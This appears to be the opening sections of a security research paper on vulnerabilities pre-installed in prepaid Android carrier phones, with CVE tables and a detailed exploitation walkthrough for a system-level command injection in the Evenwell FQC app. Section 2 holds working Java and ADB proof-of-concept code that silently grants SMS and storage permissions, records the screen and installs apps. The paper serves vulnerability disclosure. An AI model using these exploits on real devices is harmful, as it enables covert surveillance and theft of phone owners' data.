Quokka

TECHNICAL PAPER

Still Vulnerable Out of the Box

Revisiting the Security of Prepaid Android Carrier Devices

Still Vulnerable Out of the Box: Revisiting the Security of Prepaid Android Carrier Devices

Ryan Johnson, Mohamed Elsabagh, and Angelos Stavrou

Abstract

Prepaid Android smartphones present an attractive option since they can be used and discarded at will without significant financial cost. The reasons for their use are manifold, although some people may use them to dissemble their true identity. Prepaid smartphones offer value, but there may be an additional "cost" for their cheap price. We present an examination of the local attack surface of 21 prepaid Android smartphones sold by American carriers (and 11 unlocked smartphones). While examining these devices, we discovered instances of arbitrary command execution in the context of a "system" user app, arbitrary AT command execution, arbitrary file write in the context of the Android System (i.e., "system_server"), arbitrary file read/write in the context of a "system" user app, programmatic factory reset, leakage of GPS coordinates to a loopback port, numerous exposures of non-resettable device identifiers to system properties, and more.

The only user interaction that our threat model assumes is that the user installs and runs a third-party app that has no permissions or only a single "normal" level permission that is automatically granted to the third-party app upon installation. The installed third-party app can leverage flaws in pre-loaded software to escalate privileges to indirectly perform actions or obtain data while lacking the necessary privileges to do so directly. Due to a wide range of local interfaces with missing access control checks and inadequate input validation, a third-party app's behavior is not truly circumscribed by the permissions that it requests. Due to the common inclusion of pre-loaded software from Android vendors, chipset manufacturers, carriers, and vendor partners, exploit code can have significant breadth. The inter-app communication used to exploit these vulnerabilities may be difficult to classify as inherently malicious in general since it uses the standard communication channels employed by non-malicious apps.

We pick up again where we left off from our DEF CON 26 talk … raiding the prepaid Android smartphone aisles at Walmart. We provide another snapshot on the state of security for Android carrier devices. In this talk, we examine 21 different prepaid Android smartphones being sold by the major American carriers, and we also cover 11 unlocked Android devices, which are primarily ZTE smartphones. We identified vulnerabilities in multiple layers of the Android software stack. For each discovered vulnerability, we step through the attack requirements, access vector, and attack workflow in order to help developers and bug hunters identify common software flaws going forward.

1. Introduction

Android has a very diverse mobile ecosystem, unlike that of iOS which is strictly controlled by Apple.[1] The diversity in the Android ecosystem results in a wide range of available options for consumers with devices at various price points, ranging from low-end smartphones that cost $50 to flagship devices that easily eclipse $1,000. The differential in price between different Android devices can be significant, even between smartphones from the same vendor. In this paper, we primarily focus on Android devices that are on the lower-end of the price spectrum, although we cover a few unlocked Android devices that reside on the opposite end of the price spectrum.

Running on Android devices is a software stack where its inputs may be provided by the following sources: Android Open Source Project (AOSP), chipset manufacturers, hardware manufacturers, carriers, vendors, and vendor partners.

The vendor partners category is rather broad and consists of any entities that are not covered by the aforementioned categories. Within the Android software stack, we primarily focus on additions made to core Android code (i.e., AOSP) since they generally do not have the same visibility as AOSP, which is of course open source and easily searchable online. The software composition of an Android build presents various attack surfaces even to third-party apps (e.g., those that user downloads). When a third-party app possesses zero permissions and has no special credentials, the only direction available (with respect to its capabilities) is up by exploiting privilege escalation vulnerabilities.

While a vulnerability in AOSP has the most breadth, as Android vendors derive their own software builds from it, vulnerabilities in non-AOSP software components can still have widespread impact. Software developed by Android chipset manufacturers can have significant breadth since it is generally used by a wide range of vendors due to the fact that there is a rather limited number of chipset manufacturers. For example, we discovered an information disclosure vulnerability in the MediaTek "mnld" system binary that binds to TCP port 7000 on the loopback interface (Android 11 and higher) or to any network interface (Android 9 and lower) to provide the GPS coordinates to any process that connects to them without authentication whenever the GPS module is being used (CVE-2023-20726). This vulnerability impacted 81% (17 of the 21) Android carrier devices we examined, as well as numerous unlocked devices.

Carriers generally include both strictly necessary telephony software and potentially some value-added software in Android devices they sell to end-users. We identified a pre-installed app that appears to be developed by Tracfone, with a package name of "com.tracfone.tfstatus", that allows externally-controlled string input as a parameter into the execution of a partially hard-coded AT command that checks to see if the device is unlocked. Since the externally-controlled string undergoes no input validation, we can inject arbitrary AT command(s) using two different injection techniques. This Tracfone carrier app impacted two devices in our set of 21 Android carrier devices, although it may impact additional smartphones as we did not examine all Tracfone devices. Carrier software, like that of chipset manufacturers, can span multiple Android vendors.

Vendor partner software can also impact a wide range of vendors. We cover a notable case of a pre-installed app we discovered with a package name of "com.factory.mmigroup" that impacted devices from multiple vendors (i.e., Samsung, Realme, and white-label devices from T-Mobile and Boost Mobile) having two different chipsets (i.e., MediaTek and Unisoc). The "com.factory.mmigroup" app is an "engineer" app (sometimes also called a "factory" app) that allows an operator to conveniently test the device’s hardware and software functionality from a centralized location. The functionality that this app exposes to third-party apps without authorization depends on the exact model and chipset, but, in total, it includes arbitrary AT command injection, programmatic factory reset, obtaining two different non-resettable device identifiers, turning off the device, and enabling various wireless adapters.

We discovered a pre-installed app named "com.evenwell.fqc", another vendor partner engineer app, that allows local arbitrary command execution in its context of a "system" user app in two different Tracfone and Verizon devices. Moreover, we also discovered a pre-installed app on the unlocked Itel Vision 3 Turbo named "com.transsion.autotest.factory" that also allows local arbitrary command execution in its context as a "system" user app. Both of these apps are engineer apps which would likely be of little use to the typical user unless they are familiar with diagnostic tools. Engineer apps have remained a mainstay on Android devices and have historically been a source of vulnerabilities. Notably, vulnerabilities in engineer apps tend to be severe due to their privileged execution context that is required to test a range of functionality. Viewed cynically, one could make a case that engineer apps have a dualistic nature: (1) enabling an operator to test device functionality in a structured and centralized way and (2) leaving a door open for attackers to achieve various privilege escalation attack scenarios. Viewed optimistically, engineer apps have software flaws manifesting as exploitable vulnerabilities that may occur in any piece of software.

Vendor software can provide their devices with a consistent aesthetic and common functionality. The reach of vendor software is proportional to its popularity in the global Android smartphone market. We examine some pre-installed apps and modifications to the Android Framework that are specific to TCL and ZTE. We discovered that both of these vendors have an arbitrary file write as the "system" user vulnerability, where one resides in the context of a pre-installed app executing with "system" privileges and the other resides within the Android system itself (i.e., "system_server"). The root causes of these vulnerabilities are different. The TCL pre-installed app requires an access permission that is not declared anywhere, manifesting as a missing permission that can be declared and used by a local app. ZTE fails to check for and protect against path traversal attacks when uncompressing "zip" files containing theme data and also failing to enforce a uniqueness requirement on the URI authorities of content providers (i.e., "android:authorities") from which it will accept theme data.

We cover additional vendor-specific vulnerabilities such as a programmatic factory reset which deletes the user’s apps and data (Boost Mobile TCL 20 XE), an arbitrary file read in the context of a "system" user app (Tracfone TCL 30Z and AT&T TCL 30Z), an arbitrary file and directory deletion in the context of a "system" user app (multiple unlocked ZTE devices), and starting arbitrary activities in the context of the System UI app where all "Intent" fields can be controlled except for the action string which impacted multiple unlocked ZTE devices. Notably, vulnerabilities in vendor software may or may not impact all devices from a specific vendor, although this depends on the extent to which the vendor reuses their code amongst its various models.

The leaking of non-resettable device identifiers is very prevalent amongst the prepaid Android carrier devices with 86% (18 of the 21) devices leaking at least one non-resettable device identifier to system properties. Some devices leak up to three non-resettable device identifiers (e.g., IMEI, ICCID, serial number, WiFi MAC address, etc.) to system properties. The system properties can be read by any process without requiring any permissions or special privileges. These information disclosure vulnerabilities are generally initiated by a privileged pre-installed app or the Android Framework itself which has under some vendor modifications. In addition, the aforementioned "com.factory.mmigroup" app also can be made to leak the IMEI and device serial number to system properties by sending it an "Intent" message containing specific extras.

1.1. Summary of Discovered Vulnerabilities in Android Carrier Devices

A high-level overview of the vulnerabilities that we discovered in Android prepaid devices that we purchased from American carriers is provided in Table 1. Table 1 has been aggregated on the columns denoting the carrier and model in order to make it more succinct. In addition, since the leaking of non-resettable device identifiers was so prevalent, we grouped these into a single category which encompasses leakages of the IMEI, WiFi MAC address, Bluetooth MAC address, ICCID, and serial number. These will be covered later in the paper, but for readability, they are aggregated here and will only be listed once per device even if the device leaks various non-resettable identifiers or the same identifier is leaked twice through two different means. Notably, instances of leaking non-resettable device identifiers, generally to system properties, were present in 81% of the carrier devices we examined.

Vulnerability	Carriers	Vendor	Model(s)	CVE ID(s)
Arbitrary command execution as a "system" user app	Verizon	Sharp	Rouvo V	CVE-2023-38290
Arbitrary command execution as a "system" user app	Tracfone	BLU	View 2	CVE-2023-38290
Arbitrary AT command execution	T-Mobile	T-Mobile (Wingtech)	Revvl 6 Pro 5G & Revvl V+ 5G	CVE-2023-38297
Arbitrary AT command execution	Boost Mobile	Boost Mobile (Wingtech)	Celero 5G	CVE-2023-38297
Arbitrary AT command execution	Tracfone	Nokia	C100 & C200	CVE-2023-38293
Arbitrary file read/write as a "system" user app	AT&T & Tracfone	TCL	30Z	CVE-2023-38295
Programmatic factory reset	Tracfone	Samsung	Galaxy A03S	CVE-2023-38297
Programmatic factory reset	T-Mobile	T-Mobile (Wingtech)	Revvl 6 Pro 5G & Revvl V+ 5G	CVE-2023-38297
Programmatic factory reset	Boost Mobile	Boost Mobile (Wingtech)	Celero 5G	CVE-2023-38297
Programmatic factory reset	Boost Mobile	TCL	20XE	CVE-2023-38292
Leakage of GPS coordinates to TCP port 7000	Tracfone	Samsung	Galaxy A03S & Galaxy A13 5G	CVE-2023-20726
Leakage of GPS coordinates to TCP port 7000	T-Mobile	T-Mobile (Wingtech)	Revvl 6 Pro 5G & Revvl V+ 5G	CVE-2023-20726
Leakage of GPS coordinates to TCP port 7000	Tracfone, AT&T, & Verizon	Motorola	G Pure	CVE-2023-20726
Leakage of GPS coordinates to TCP port 7000	Tracfone	Motorola	G Power	CVE-2023-20726

Vulnerability	Carriers	Vendor	Model(s)	CVE ID(s)
Leakage of GPS coordinates to TCP port 7000	AT&T & Tracfone	TCL	30Z	CVE-2023-20726
Leakage of GPS coordinates to TCP port 7000	Tracfone	BLU	View 2 & View 3	CVE-2023-20726
Leakage of GPS coordinates to TCP port 7000	Tracfone	Nokia	C100 & C200	CVE-2023-20726
Leakage of GPS coordinates to TCP port 7000	Verizon	Sharp	Rouvo V	CVE-2023-20726
Leakage of GPS coordinates to TCP port 7000	Boost Mobile	TCL	20XE	CVE-2023-20726
Leakage of GPS coordinates to TCP port 7000	Boost Mobile	Boost Mobile (Wingtech)	Celero 5G	CVE-2023-20726
Leakage of non-resettable ID(s) to system properties	Verizon	Sharp	Rouvo V	CVE-2023-38301 & CVE-2023-38302
Leakage of non-resettable ID(s) to system properties	Tracfone	BLU	View 2 & View 3	CVE-2023-38301 (BLU View 2) & CVE-2023-38299 (BLU View 3)
Leakage of non-resettable ID(s) to system properties	T-Mobile	T-Mobile (Wingtech)	Revvl 6 Pro 5G & Revvl V+ 5G	CVE-2023-38301
Leakage of non-resettable ID(s) to system properties	Boost Mobile	Boost Mobile (Wingtech)	Celero 5G	CVE-2023-38301
Leakage of non-resettable ID(s) to system properties	Tracfone	Nokia	C100 & C200	CVE-2023-38299
Leakage of non-resettable ID(s) to system properties	Tracfone, AT&T, & Verizon	Motorola	G Pure	CVE-2023-38291 & CVE-2023-38301
Leakage of non-resettable ID(s) to system properties	Tracfone	Motorola	G Power	CVE-2023-38291 & CVE-2023-38301
Leakage of non-resettable ID(s) to system properties	Boost Mobile	TCL	20XE	CVE-2023-38298
Leakage of non-resettable ID(s) to system properties	AT&T & Tracfone	TCL	30Z	CVE-2023-38296 & CVE-2023-38298

Vulnerability	Carriers	Vendor	Model(s)	CVE ID(s)
Leakage of non-resettable ID(s) to system properties	Tracfone	TCL	A3X	CVE-2023-38291, CVE-2023-38296, & CVE-2023-38298
Leakage of non-resettable ID(s) to system properties	AT&T	AT&T	Calypso	CVE-2023-38299
Leakage of non-resettable ID(s) to system properties	Verizon	Orbic	Maui	CVE-2023-38300

Table 1. Discovered vulnerabilities in Android carrier devices.

1.2. Summary of Discovered Vulnerabilities in Unlocked Android Devices

A high-level overview of the vulnerabilities that we discovered in unlocked Android devices is provided in Table 2. Table 2, in the same way as Table 1, has been aggregated on the column denoting models from the same vendor.

Vulnerability	Carriers	Model(s)	CVE ID(s)
Arbitrary command execution as a "system" user app	Itel	Vision 3 Turbo	CVE-2023-38294
Arbitrary file write as the Android System ("system_server")	ZTE	Axon 40 Ultra 5G, Axon 30 Ultra 5G, & Blade A52	CVE-2022-39071
Starting arbitrary activity components in the context of the System UI app	ZTE	Axon 40 Ultra 5G, Axon 30 Ultra 5G, Blade A71, Blade A52, & Blade A7s	CVE-2022-39074
Arbitrary file/directory deletion as the Settings app	ZTE	Axon 40 Ultra 5G, Axon 30 Ultra 5G, Blade A71, Blade A52, & Blade A7s	CVE-2022-39075
Programmatic factory reset	Realme	C25Y	CVE-2023-38297
Arbitrary file read/write as a "system" user app	TCL	10L	CVE-2023-38295
Leakage of non-resettable ID(s) to system properties	TCL	10L	CVE-2023-38291 & CVE-2023-38298

Table 2. Discovered vulnerabilities in unlocked Android devices.

1.3. Threat Model

Many of the vulnerabilities listed in this paper have an underlying root cause of improper access control (CWE-284). Missing or broken access control for app components has remained a mainstay in Android, even after app developers targeting Android 12 (and higher) have to explicitly declare whether or not an app component is exported. When an app component is exported, it is accessible to apps other than the app that declares and contains the app component. In many cases, there is no authentication and no authorization performed, which causes a capability to be exposed, manifesting as an instance of the "confused deputy problem." Information leakages also occur, according to its own software logic, where sensitive data is obtained by an authorized process and is subsequently transmitted to or stored in a location that is accessible to processes with a lower-privilege level, where there are lesser or no access requirements to access the leaked sensitive data.

1.4. Phone Selection

The majority of the prepaid Android carrier devices in this paper were purchased at Walmart between October 2022 and March 2023. Table 3 provides all of the Android devices examined for this paper. We focused on prepaid Android devices sold by American carriers. We tried to have similar coverage among the various American carriers, although Tracfone is clearly well represented in Table 3 since it focuses on this market segment. We also examined some unlocked Android devices that we encountered during our travels outside of the United States. The unlocked devices are primarily ZTE devices that we purchased in order to gauge the breadth of some ZTE vendor-specific vulnerabilities we discovered.

Carrier	Number of Devices	Vendor and Model of Device
Tracfone	10	BLU View 2, Samsung Galaxy A03S, Nokia C100, Nokia C200, TCL 30Z, Samsung Galaxy A13 5G, Motorola Moto G Pure, Motorola Moto G Power, TCL A3X, & BLU View 3
AT&T	3	TCL 30Z, Motorola Moto G Pure, & Calypso
Verizon	3	Sharp Rouvo V, Motorola Moto G Pure, & Orbic Maui
T-Mobile	2	Revvl 6 Pro 5G & Revvl V+ 5g
Boost Mobile	2	Celero 5G & TCL 20XE
Visible	1	Blade X1 5G
Unlocked	11	Itel Vision 3 Turbo, Realme C25Y, TCL 10L, ZTE Axon 40 Ultra 5G, ZTE Axon 30 Ultra 5G, ZTE Blade A71, ZTE Blade A52, ZTE Blade A7s, ZTE Blade A51, ZTE Blade L210, & ZTE Avid 579

Table 3. Complete list of examined Android devices.

2. Evenwell FQC App

Android apps can utilize a shared user ID (UID) to facilitate the sharing of code functionality, files, and permissions among a group of related apps, typically created by the same developer. The requirements for apps to share the same UID is that (1) they both need to declare the same value for the "android:sharedUserId" attribute in the "manifest" element in their respective "AndroidManifest.xml" files and (2) they both need to be signed with the same cryptographic private key. The "android:sharedUserId" attribute was deprecated in Android 10 (Application Programming Interface (API) level 29) as the official documentation states that this “may be removed in a future version of Android” although it still behaves as expected, at the time of writing this paper, on devices up to at least Android 12.[4] Shared UIDs have been standard functionality in Android for a long time; therefore, it will likely take some time to be replaced by an alternative mechanism.
One of the most well-known shared UIDs is the "system" UID which utilizes an "android:sharedUserId" attribute value of "android.uid.system". The "system" UID is used by the Settings app (with a package name of "com.android.settings"), the Android Framework (with a package name of "android"), and generally some additional apps that need this powerful capability. The Android Framework houses back-end services that apps request resources and capabilities from by invoking the public Android API calls that mostly abstract the Inter-Process Communication (IPC) occuring on in the background. In addition to any shared UIDs and permissions that an app requests, it is also functionally bound by its assigned SELinux domain. SELinux is a Mandatory Access Control security mechanism that has been active in enforcing mode since Android 5.0 (API level 21).[5] Although a third-party app is rather constrained with respect to its SELinux domain ("untrusted_app"), we can take advantage of more privileged processes using IPC to access insecure interfaces.
On any given Android device, there will typically be at least a handful of apps that execute with the "system" UID. A prime example of this is the ubiquitous Settings app, which needs to have significant privileges in order to make changes to system-wide configurations and settings. The specific vulnerable pre-installed app we discovered in two different carrier devices has a package name of "com.evenwell.fqc". This app appears to have been developed by Evenwell Digitech Inc., which still has a test app available on Google Play, as of June 3, 2023.[6] Evenwell apps used to be present in Nokia devices, but they appear to have stopped using them.[7] Indeed, there are no Evenwell apps on the Tracfone Nokia C100 and Tracfone Nokia C200 devices we examined. There is an archived GitHub project, serving as a "debloater" for Nokia devices, from a few years ago that attempts to remove Evenwell apps including the "com.evenwell.fqc" app.[8] It is unclear why this Evenwell app has now appeared on the Verizon Sharp Ruovo V and Tracfone BLU View 2 devices. The Tracfone BLU View 2 device is also sold by Total by Verizon, although the device has the same build fingerprint as the Tracfone version albeit with the Verizon packaging.[9] This is likely because Tracfone is a subsidiary of Verizon.

2.1. Vulnerability Description

The "com.evenwell.fqc" app contains a service component named "com.evenwell.fqc/.FQCService" that is exported by default, allowing all apps (including third-party apps) to communicate with the service via "Intent" messages.[10] The "com.evenwell.fqc/.FQCService" service component checks the value of the "persist.sys.PreventPowerkey" system property as soon as it begins executing. The default value of the "persist.sys.PreventPowerkey" system property is "off". The "com.evenwell.fqc/.FQCService" service component terminates itself when the "persist.sys.PreventPowerkey" system property has a value of "off" or when an activity component of the "com.evenwell.fqc" app is in the foreground. When the "persist.sys.PreventPowerkey" system property has a value of "on" and the "com.evenwell.fqc" app does not have one of its own activity components in the foreground, then the "com.evenwell.fqc/.FQCService" service component obtains a string extra named "TurnOffHeater" from the externally-controlled "Intent" it receives and executes the corresponding string value as a shell command using the "java.lang.Process java.lang.Runtime.exec(java.lang.String[])" API, where the full format of the command is "/system/bin/sh -c <'TurnOffHeater' string extra>". This vulnerability was assigned CVE-2023-38290.

The command execution occurs in the context of the "com.evenwell.fqc" app, which has significant privileges due to it executing with the "system" UID, allowing external apps to provide arbitrary commands that it dutifully executes. The high-level exploitation workflow that a third-party app needs to follow in order to execute an arbitrary command in the context of the "com.evenwell.fqc" app is: (1) start an exported activity component in the "com.evenwell.fqc" app so that the activity component sets the "persist.sys.PreventPowerkey" system property to a value of "on", (2) crash the "com.evenwell.fqc" app via a crafted "Intent" message so that the app does not have an activity component in the foreground, and then (3) send an "Intent" message containing the shell command to execute set as the value of the "TurnOffHeater" string extra to the "com.evenwell.fqc/.FQCService" service component. Whenever the "com.evenwell.fqc/.FQCService" service component executes a command, it sets the "persist.sys.PreventPowerkey" system property to a value of "off" just before executing the command. The next subsection provides concrete guidance on how to remove the restriction of having to start an activity component in the "com.evenwell.fqc" app so that it sets the "persist.sys.PreventPowerkey" system property to a value of "on" in order to execute subsequent commands.

2.2. Exploitation Workflow

This subsection provides the general workflow to successfully exploit the local command execution vulnerability that is present in the "com.evenwell.fqc" pre-installed app. The Java source code is included to build a Proof-of-Concept (PoC) attack app as well as the equivalent Android Debug Bridge (ADB) commands where applicable.[11] The reproduction steps for exploiting this vulnerability are as follows:

1. From a foreground activity component in the PoC app, start a foreground service in the PoC app that performs all subsequent reproduction steps. A foreground service is not strictly required to exploit the vulnerability, but it allows the PoC app to exploit the vulnerability from the background. Using a foreground service requires the "android.permission.FOREGROUND_SERVICE" permission to be granted to the PoC app which is a "normal" level permission and will be granted to the PoC app upon installation without requiring any user interaction.[12] A foreground service executes in the background, although it must maintain an active notification while executing.
2. Start the "com.evenwell.fqc/.activity.ShowBarometer" activity component in the "com.evenwell.fqc" app from an activity component in the PoC app using the following source code snippet. Alternatively, the "adb shell 'am start -n com.evenwell.fqc/.activity.ShowBarometer -a android.intent.action.MAIN --ez launchByShell true'" ADB command can be used to start the "com.evenwell.fqc/.activity.ShowBarometer" activity component.

```
Intent activityIntent = new Intent("android.intent.action.MAIN");
activityIntent.setClassName("com.evenwell.fqc", "com.evenwell.fqc.activity.ShowBarometer");
activityIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
activityIntent.putExtra("launchByShell", true);
startActivity(activityIntent);
```

Starting this activity component causes the "com.evenwell.fqc" app to set the "persist.sys.PreventPowerkey" system property to a value of "on" which occurs in the "void com.evenwell.fqc.baseActivity.BaseActivity.onResume()" callback method (which the system invokes when an app comes into the foreground as part of the standard activity component lifecycle). The "com.evenwell.fqc/.activity.ShowBarometer" activity component has the "com.evenwell.fqc/.baseActivity.BaseActivity" class as an indirect parent class. The value of the "persist.sys.PreventPowerkey" system property can be observed using the "adb shell 'getprop persist.sys.PreventPowerkey'" ADB command.

3. Next, from a service component in the PoC app, crash the "com.evenwell.fqc" app by sending an "Intent" message to the "com.evenwell.fqc/.FQCBroadcastReceiver" receiver component which results in an uncaught "java.lang.NullPointerException" that crashes the "com.evenwell.fqc" app due to improper input handling. Alternatively, the "adb shell 'am broadcast -n com.evenwell.fqc/.FQCBroadcastReceiver'" ADB command can be used to crash the "com.evenwell.fqc" app. Crashing the "com.evenwell.fqc" app is necessary to prevent this app from having a foreground activity component because if one of its activity components goes into the background, it sets the "persist.sys.PreventPowerkey" system property to a value of "off". This behavior is occurs in the "void com.evenwell.fqc.baseActivity.BaseActivity.onPause()" callback method (which the system invokes when an app goes into the background as part of the activity component lifecycle) and many of the activity components within the "com.evenwell.fqc" app have "com.evenwell.fqc/.baseActivity.BaseActivity" as a direct or indirect parent class. Crashing the "com.evenwell.fqc" app while it has a foreground activity component preserves the desired value of the "persist.sys.PreventPowerkey" system property (i.e., "on").

```
Intent broadcastIntent = new Intent();
broadcastIntent.setClassName("com.evenwell.fqc", "com.evenwell.fqc.FQCBroadcastReceiver");
sendBroadcast(broadcastIntent)
```

4. Now an "Intent" message can be sent to the "com.evenwell.fqc/.FQCService" service component in the "com.evenwell.fqc" app so that it executes the shell command (or shell script) it receives from an "Intent" message in its context. The "com.evenwell.fqc/.FQCService" service component executes a shell command when (1) the "persist.sys.PreventPowerkey" system property has a value of "on" and (2) that the "com.evenwell.fqc" app does not have an activity component in the foreground. Just before executing the externally-provided string as a command, the "com.evenwell.fqc" app sets the "persist.sys.PreventPowerkey" system property to a value of "off". To remove this restriction for executing subsequent commands, the " ; setprop persist.sys.PreventPowerkey on" string should be appended to the end of each shell command (or shell script) executed, which sets the "persist.sys.PreventPowerkey" system property to a value of "on".

The PoC app can execute arbitrary commands, from the background, using the "com.evenwell.fqc/.FQCService" service component, that also executes in the background, in the context of the "com.evenwell.fqc" app. The general format to execute a command is shown in the source code snippet below. Alternatively, a command can be executed using the "adb shell 'am start-service -n com.evenwell.fqc/.FQCService --es TurnOffHeater "<command to be executed> ; setprop persist.sys.PreventPowerkey on"'" ADB command where the "<command to be executed>; setprop persist.sys.PreventPowerkey on" should be replaced with an arbitrary shell command (or shell script) that executes in a shell environment.

```
Intent serviceIntent = new Intent("android.intent.action.MAIN");
serviceIntent.setClassName("com.evenwell.fqc", "com.evenwell.fqc.FQCService");
serviceIntent.putExtra("TurnOffHeater", "<command to be executed> ; setprop persist.sys.PreventPowerkey on");
```

```
startService(serviceIntent);
```

A simple and benign example command of "id > /sdcard/id.txt; setprop persist.sys.PreventPowerkey on" can be executed. This resulting "/sdcard/id.txt" file created on external storage can be viewed with the following ADB command: "adb shell cat /sdcard/id.txt". The contents of the "/sdcard/id.txt" file should contain something like the following command output: "uid=1000(system) gid=1000(system) groups=1000(system),1004(input),1007(log),1013(media),1065(reserved_disk),1077(external_storage),2002(diag),3001(net_bt_admin),3002(net_bt),3003(inet),3007(net_bw_acct),9997(everybody) context=u:r:system_app:s0". When executing shell commands by exploiting the vulnerability, any output from the standard output stream and standard error stream can be observed using the following ADB command: "adb logcat FQCLog/FQCLog/FQCService:V -s".

2.3. Possible Exploitation Use Cases

For brevity, the source code examples provided in this subsection assume that steps 1 through 3 from the previous subsection have already been completed, which set the "persist.sys.PreventPowerkey" system property to a value of "on" and ensure that no activity components of the "com.evenwell.fqc" app are currently in the foreground. Additional use cases with example commands are provided in this subsection and also in Appendix A.

A possible exploitation use case is to programmatically grant an arbitrary app an arbitrary permission. In the example source code snippet below, the permission that provides read access to the user's SMS messages (e.g., "android.permission.READ_SMS") is granted to a third-party app with a package name of "com.example.packagename". This gives the "com.example.packagename" app read access to the user's SMS messages without requiring any user interaction. The permission-granting model for runtime permissions with a protection level of "dangerous" to third-party apps usually requires that the user grant the permission to the third-party app using a GUI dialog, although this requirement is bypassed by exploiting this vulnerability.[15] In addition, permissions that have a protection level of "development" (e.g., "android.permission.READ_LOGS") can also be granted to third-party apps using this same approach, bypassing the typical requirement that a user grants the permission to a third-party app via an ADB command. The package name and permission in the command are arbitrary and can be modified in the source code snippet below. When the "com.evenwell.fqc" app executes a command, it writes data from the standard output and standard error streams, if any, to the system log using a log tag of "FQCLog/FQCLog/FQCService" which can be convenient for the PoC app after it grants itself the "android.permission.READ_LOGS" permission.

```
Intent serviceIntent = new Intent("android.intent.action.MAIN");
serviceIntent.setClassName("com.evenwell.fqc", "com.evenwell.fqc.FQCService");
serviceIntent.putExtra("TurnOffHeater", "pm grant com.example.packagename android.permission.READ_SMS; setprop persist.sys.PreventPowerkey on");
startService(serviceIntent);
```

On Android 12, pre-installed apps on the device cannot read from and write to the private directories of third-party apps on internal storage (i.e., "/data/data/<poc app package name>"), assuming the vendor has not made serious modifications to the SELinux rules. Despite this limitation, the PoC app (with a package name of "com.example.packagename") can grant itself the capability to have read and write access to external storage, by programmatically granting itself the following permissions: "android.permission.READ_EXTERNAL_STORAGE", "android.permission.WRITE_EXTERNAL_STORAGE", and "android.permission.MANAGE_EXTERNAL_STORAGE". This can be accomplished by executing the following command in the code snippet below, which bypasses the limitation of imposing only scoped storage access of the app's own files by programmatically granting the

PoC app the "android.permission.MANAGE_EXTERNAL_STORAGE" permission using the "appops" command.

```
Intent serviceIntent = new Intent("android.intent.action.MAIN");
serviceIntent.setClassName("com.evenwell.fqc", "com.evenwell.fqc.FQCService");
serviceIntent.putExtra("TurnOffHeater", "pm grant com.example.packagename android.permission.READ_EXTERNAL_STORAGE; pm grant com.example.packagename android.permission.WRITE_EXTERNAL_STORAGE; appops set com.example.packagename MANAGE_EXTERNAL_STORAGE allow ; setprop persist.sys.PreventPowerkey on ");
startService(serviceIntent);
```

Alternatively, we can use the PoC app's private scoped storage directory (i.e., "/sdcard/Android/data/<poc app package name>") for a common file transfer location, which does not require any permissions, as it is both readable and writable by the PoC app and the "com.evenwell.fqc" app. For example, using the code snippet below, a screen recording of 10 seconds can be initiated and recorded in the background to the PoC app's private scoped storage directory by using the vulnerable "com.evenwell.fqc" to record the device screen on its behalf. The screen recording is accessible using the following ADB command: "adb pull /sdcard/Android/data/<poc app package name>/ten.mp4" which copies the screen recording file from the PoC app's private scoped storage directory to a local computer. Note that the "chmod 777 <screen_recording_file_path>" command is executed to make the file accessible to the PoC app. In addition, some file permissions need to be modified prior to the screen recording.

```
File poc_app_base_dir = getExternalFilesDir(null).getParentFile();
poc_app_base_dir.setExecutable(true, false);
poc_app_base_dir.setWritable(true, false);
File screenrecording_file = new File(poc_app_base_dir, "ten.mp4");
String recording_path = screenrecording_file.getPath();

Intent serviceIntent = new Intent("android.intent.action.MAIN");
serviceIntent.setClassName("com.evenwell.fqc", "com.evenwell.fqc.FQCService");
serviceIntent.putExtra("TurnOffHeater", "(/system/bin/screenrecord --time-limit 10 " + recording_path + ") & wait $!; sleep 1 ; chmod 777 " + recording_path + "; setprop persist.sys.PreventPowerkey on");
startService(serviceIntent);
```

Moreover, this vulnerability can be used to programmatically install arbitrary apps and then programmatically grant them permissions with protection levels of "dangerous" and "development" which can be used to surveil the user and obtain an extensive amount of Personally Identifiable Information (PII). To install an arbitrary app, the PoC app can unpack an app it has embedded within its own app file (i.e., APK) to its scoped storage directory on external storage, make its scoped storage directory globally executable, make the unpacked APK file to be installed globally readable, and then install the target app via executing a command by exploiting the arbitrary command execution vulnerability. In this example, the PoC app unpacks a file named "term.apk" that it has within its assets and then programmatically installs it using the "cmd package install -r -g -S <apk size in bytes> < <apk_to_be_installed_path>" command.

```
File poc_app_base_dir = getExternalFilesDir(null).getParentFile();
String path = poc_app_base_dir.getPath();
poc_app_base_dir.setExecutable(true, false);
```

```
String apk_name = "term.apk";
File term_apk_file = new File(poc_app_base_dir, apk_name);
unpackAndCopyAsset(apk_name, term_apk_file.getPath(), context);
term_apk_file.setReadable(true, false);

Intent serviceIntent = new Intent("android.intent.action.MAIN");
serviceIntent.setClassName("com.evenwell.fqc", "com.evenwell.fqc.FQCService");
serviceIntent.putExtra("TurnOffHeater", "cmd package install -r -g -S $(stat -c %s " + term_apk_file.getPath() + ") < " + term_apk_file.getPath() + " ; setprop persist.sys.PreventPowerkey on");
startService(serviceIntent);
```

Another important use case is to have the vulnerable "com.evenwell.fqc" app disable itself with the "pm disable com.evenwell.fqc" shell command, as shown below. The end user is not able to directly disable the "com.evenwell.fqc" app using the Settings app, although the app can disable itself using the command.

```
Intent serviceIntent = new Intent("android.intent.action.MAIN");
serviceIntent.setClassName("com.evenwell.fqc", "com.evenwell.fqc.FQCService");
serviceIntent.putExtra("TurnOffHeater", "pm disable com.evenwell.fqc");
startService(serviceIntent);
```

2.4. Impacted Devices

The vulnerable "com.evenwell.fqc" app is pre-installed on the following software builds of the Tracfone BLU View 2 device, provided in Table 4. The software build fingerprint is obtained from the "ro.build.fingerprint" system property, and the build date is obtained from the "ro.build.date" system property. The "com.evenwell.fqc" pre-installed app, on all software builds we examined, has a file path of "/system/app/FQC/FQC.apk". Table 4 also provides the SHA-256 message digest of the APK file in addition to its version code and version name.

Build Fingerprint	Version Code	Version Name	Build Date	SHA-256
BLU/B131DL/B130DL:11/RP1A.200720.011/1672046950:user/release-keys	9020801	9.0208.01	Mon Dec 26 17:58:31 CST 2022	9bd13da4a73cfad68959a8e17b44805109062044a00abef361ebeb2ffba7c790
BLU/B131DL/B130DL:11/RP1A.200720.011/1663816427:user/release-keys	9020801	9.0208.01	Thu Sep 22 11:29:56 CST 2022	9bd13da4a73cfad68959a8e17b44805109062044a00abef361ebeb2ffba7c790
BLU/B131DL/B130DL:11/RP1A.200720.011/1656476696:user/release-keys	9020801	9.0208.01	Wed Jul 6 11:55:45 CST 2022	9bd13da4a73cfad68959a8e17b44805109062044a00abef361ebeb2ffba7c790
